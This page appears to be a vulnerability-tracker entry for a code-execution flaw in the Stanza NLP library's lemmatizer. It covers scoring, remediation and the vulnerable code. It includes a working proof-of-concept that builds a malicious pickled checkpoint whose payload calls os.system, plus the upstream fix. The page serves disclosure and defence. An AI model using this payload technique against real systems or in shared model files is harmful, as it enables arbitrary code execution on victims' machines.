Skip to main content

Stanza EUVDEUVD-2026-116216

| CVE-2026-115878 HIGH
Code Injection (CWE-94)
2026-11-03 https://github.com/stanfordnlp/stanza GHSA-gh9r-c94j-cmp5
7.8
CVSS 3.1 · Vendor: https://github.com/stanfordnlp/stanza
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Deliver crafted lemmatizer .pt checkpoint
  2. Exploit
    Victim loads model via stanza.Pipeline
  3. Execution
    Unrestricted pickle.loads deserializes embedded payload
  4. Impact
    Execute arbitrary code as loading user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to load an attacker-controlled or untrusted lemmatizer checkpoint (.pt) whose checkpoint['dicts'] carries a gzip-compressed pickle and whose dicts_version == 2 (the _DICTS_VERSION_POS v2 pickle format introduced in stanza 1.14.0). The documented trigger is stanza.Pipeline(lang=..., processors='tokenize,pos,lemma', lemma_model_path='<attacker-influenced .pt>') or any equivalent load of an untrusted/shared lemma model via a custom registry, routing through Trainer.load -> _unpack_pos_dict's unrestricted pickle.loads. Limiting factors: user interaction is mandatory (UI:R) - the victim must actively load the malicious file, which is a local load, not a network-triggered RCE; only stanza 1.14.0 with the v2 dict format is affected (1.15.0 rejects v2 files with a ValueError); and to reach line 378 through the full Pipeline path the crafted file must also carry well-formed config/vocab (established by source review), though calling _unpack_pos_dict directly needs only the bytes. No checksum protects caller-supplied paths - MD5 verification exists only in the default registry download flow.

Impact

Signals are mixed and point to a genuine but conditional threat rather than a mass-exploitation emergency. The CVSS 3.1 vector (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, 7.8 High) correctly models this as a 'malicious file' flaw: it is NOT a remote network RCE - exploitation requires the victim to load an attacker-supplied lemmatizer checkpoint (AV:L + UI:R), so the AV:L/UI:R pairing is the dominant risk-limiting factor despite PR:N. A working PoC is published in the GitHub Security Advisory (GHSA-gh9r-c94j-cmp5) and was confirmed end-to-end by the reporter against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7, which raises practical risk. However, no CISA KEV listing is present (no confirmed active exploitation) and no EPSS score was supplied, so widespread or automated exploitation cannot be asserted from the data. The vuln.today decision label is 'this_week', consistent with a patched, high-impact-but-interaction-gated issue rather than 'act_now'/'emergency'. Scope is further narrowed because only stanza 1.14.0 using the v2 gzip+pickle dict format (dicts_version==2) is affected, and the fix (1.15.0) both switches to JSON and hard-rejects v2 files. Bottom line: real priority for anyone who loads shared, caller-supplied, or registry-distributed lemmatizer models, but it is not an unauthenticated internet-facing RCE.

Exploit ScenarioDerived

An attacker publishes or shares a malicious stanza lemmatizer checkpoint (.pt) - e.g. on a model hub, in a shared registry, or sent to a downstream user - whose 'dicts' field contains a gzip-compressed pickle with a __reduce__ payload returning (os.system, (cmd,)). When a victim constructs stanza.Pipeline(..., processors='tokenize,pos,lemma', lemma_model_path='<file>'), Trainer.load calls _unpack_pos_dict, which runs an unrestricted pickle.loads and executes the embedded command as the loading user at pipeline-construction time, before any inference. A public PoC demonstrating this is published in the GHSA advisory and confirmed working; because AV:L/UI:R applies, it depends on the victim actively loading the attacker's file.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 PoC candidate (unverified) Patch available

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Nov 03, 2026

Deserialization of untrusted data in the Stanza lemmatizer allows arbitrary code execution when a downstream user loads an attacker-supplied lemma checkpoint (.pt) via the documented Pipeline API (lemma_model_path) or any custom registry path. Since version 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle inside the checkpoint's dicts field, and Trainer.load passes those bytes to an unrestricted pickle.loads after torch.load(weights_only=True) lets the bytes primitive through unexamined - the flaw was confirmed end-to-end against stanza 1.14.0 with PyTorch 2.13.0 and CPython 3.13.7. Exploitation is conditional: user interaction is mandatory, since the victim must actively load the malicious file, and only stanza 1.14.0 with the v2 dict format is affected; a public proof-of-concept reference exists in the advisory, but it is not verified as working exploit code against the full Pipeline path, and there is no confirmed active exploitation (no CISA KEV) at time of analysis.

RemediationAI

Upgrade to Stanza 1.15.0, the vendor-released fixed version published at https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0; the fix landed in PR https://github.com/stanfordnlp/stanza/pull/1649 (commit b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0). In 1.15.0 the lemmatizer stores pos_dict as gzip-compressed JSON (dicts_version 3) using orjson, and any checkpoint still in the v2 pickle format is rejected at load time with a ValueError that directs users to stanza/utils/lemma/convert_lemma_dict.py, which converts v1 and v2 models to v3. Users who cannot upgrade immediately should not load lemmatizer checkpoints from untrusted, shared or caller-supplied locations via lemma_model_path or a custom registry, and should convert any v2 models in their possession with the conversion script using an isolated environment; note that after conversion those models will only load correctly on 1.15.0 or later, so conversion and upgrade must be performed together. Where an in-house patch is required, replace the inner pickle.loads with the project's existing RestrictedUnpickler from stanza/models/common/doc.py, which allowlists only tuple, list and dict, or eliminate pickle from the path entirely by switching to JSON.

Affected VersionsENISA

stanza = 1.14.0

Affected Packages

pypi stanza fix: 1.15.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause class is code injection through unsafe deserialization (CWE-94, also tracked as CWE-502). Stanza's lemmatizer serializes its pos_dict - a nested {pos: {word: lemma}} string mapping - by pickling it, gzip-compressing the stream, and storing the resulting bytes under the checkpoint's dicts key. On load, torch.load is called with weights_only=True, which restricts the outer unpickler's class allowlist; however, because a bytes value is treated as a primitive, the allowlist never inspects the compressed inner stream, so the protection is illusory here. Trainer.load then checks dicts_version and, for the v2 format (_DICTS_VERSION_POS, value 2), routes the bytes into _unpack_pos_dict, which gunzips them and calls a bare pickle.loads - the only unrestricted unpickler in the codebase. Because a pickle's __reduce__ can return an arbitrary callable such as os.system with arguments, the inner stream executes code in the loading user's context. This is distinct from the earlier weights_only=False fallback issue tracked as CVE-2026-54499: the outer load remains restricted and the exposure lies entirely in the inner pickle. The upstream fix replaces pickle with orjson (a gzip+JSON v3 format), introduces _DICTS_VERSION_POS_PICKLE = 2 and _DICTS_VERSION_POS = 3, and makes v2 checkpoints raise a ValueError pointing to a conversion script.

Know when Checkpoint gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/stanfordnlp/stanza) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

Victim must load an attacker-supplied model file (AV:L, UI:R) with no prior authentication (PR:N); unrestricted deserialization yields full code execution, so C/I/A:H and scope unchanged.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/stanfordnlp/stanza).

CVSS VectorVendor: https://github.com/stanfordnlp/stanza

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

TL;DR

Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.

Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).

A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.

The vulnerable path

stanza/models/lemma/trainer.py:

python
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']

def _unpack_pos_dict(data):
# line 54
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return pickle.loads(raw)
# <-- unrestricted default unpickler
python
def load(self, filename, ...):
# line 365
    checkpoint = torch.load(filename, ..., weights_only=True)
# outer allowlist; bytes pass through intact
    ...
    if dicts_version == _DICTS_VERSION_POS:
# dicts_version == 2 (current format)
        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])
# line 378, no validation

Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.

Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.

Minimal PoC

python
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS

MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")

class Payload:
    def __reduce__(self):
        return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))

buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz:
# same shape as _pack_pos_dict()
    gz.write(pickle.dumps(Payload(), protocol=4))

ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)

loaded = torch.load(pt, lambda s, l: s, weights_only=True)
# SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"])
# == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())

The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.

Fix

Deserialize the inner stream with the RestrictedUnpickler the project already uses in stanza/models/common/doc.py (allowlists tuple/list/dict only):

python
from stanza.models.common.doc import RestrictedUnpickler

def _unpack_pos_dict(data):
    buf = io.BytesIO(data)
    with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
        raw = gz.read()
    return RestrictedUnpickler(io.BytesIO(raw)).load()

A legitimate pos_dict is a nested {pos: {word: lemma}} string mapping no class/function globals, so it loads cleanly, while any os.system-style payload is rejected by find_class. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both _unpack_pos_dict and, for forward compatibility, _pack_pos_dict.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 2 pypi packages depend on stanza (2 direct, 0 indirect)

Ecosystem-wide dependent count for version 1.14.0.

Technical POC Analysis

Deserialization of untrusted data (CWE-502, tracked as CWE-94) via a nested pickle stream that the outer torch.load allowlist cannot see.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

A high-severity vulnerability in Stanford's Stanza NLP library (version 1.14.0) enables arbitrary code execution when a user loads a malicious lemma checkpoint file via the documented Pipeline API. This requires user interaction-someone must explicitly load the crafted file-so the risk is concentrated among teams that ingest external or untrusted model files. Leadership should care because a successful exploit could lead to full system compromise, data breach, or ransomware, undermining trust in AI supply chains.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

Prevalence
Medium
popular Stanford NLP Python library, mainly research and data-science use
Threat Intel
1
1 source
Data Quality
4 sources
Confidence: Medium
EUVD NVD CVE.org Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS N/A
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Defer
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2014-6271 CRITICAL POC
9.8 Sep 24

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which

CVE-2024-24919 HIGH POC
8.6 May 28

Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the inte

CVE-2014-7169 CRITICAL POC
9.8 Sep 25

GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of

CVE-2017-1000083 HIGH POC
7.8 Sep 05

backend/comics/comics-document.c (aka the comic book backend) in GNOME Evince before 3.24.1 allows remote attackers to e

CVE-2026-85102 CRITICAL POC
9.8 Sep 09

Remote code execution in Check Point Quantum Security Gateway arises from improper certificate trust validation during V

CVE-2026-16232 CRITICAL POC
9.3 Jul 22

Authentication bypass in the Check Point SmartConsole login process lets an unauthenticated remote attacker mint a valid

CVE-2026-50751 CRITICAL POC
9.3 Jun 08

Authentication bypass in Check Point Quantum Security Gateway and Spark Firewalls allows unauthenticated remote attacker

CVE-2026-93616 CRITICAL POC
9.8 Sep 22

Unauthenticated attackers who can reach the file-upload interface of Check Point Management Server can combine directory

CVE-2021-3449 MEDIUM
5.9 Mar 25

An OpenSSL TLS server may crash if sent a maliciously crafted renegotiation ClientHello message from a client. Rated med

CVE-2026-85103 CRITICAL POC
9.8 Sep 09

Remote code execution in Check Point Quantum Security Gateway and Quantum Security Management stems from a heap-based bu

CVE-2026-91843 CRITICAL POC
9.8 Sep 16

Unauthenticated remote code execution affects Check Point Quantum Security Management, where a stack-based buffer overfl

CVE-2024-3568 CRITICAL POC
9.6 Apr 10

The huggingface/transformers library is vulnerable to arbitrary code execution through deserialization of untrusted data

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy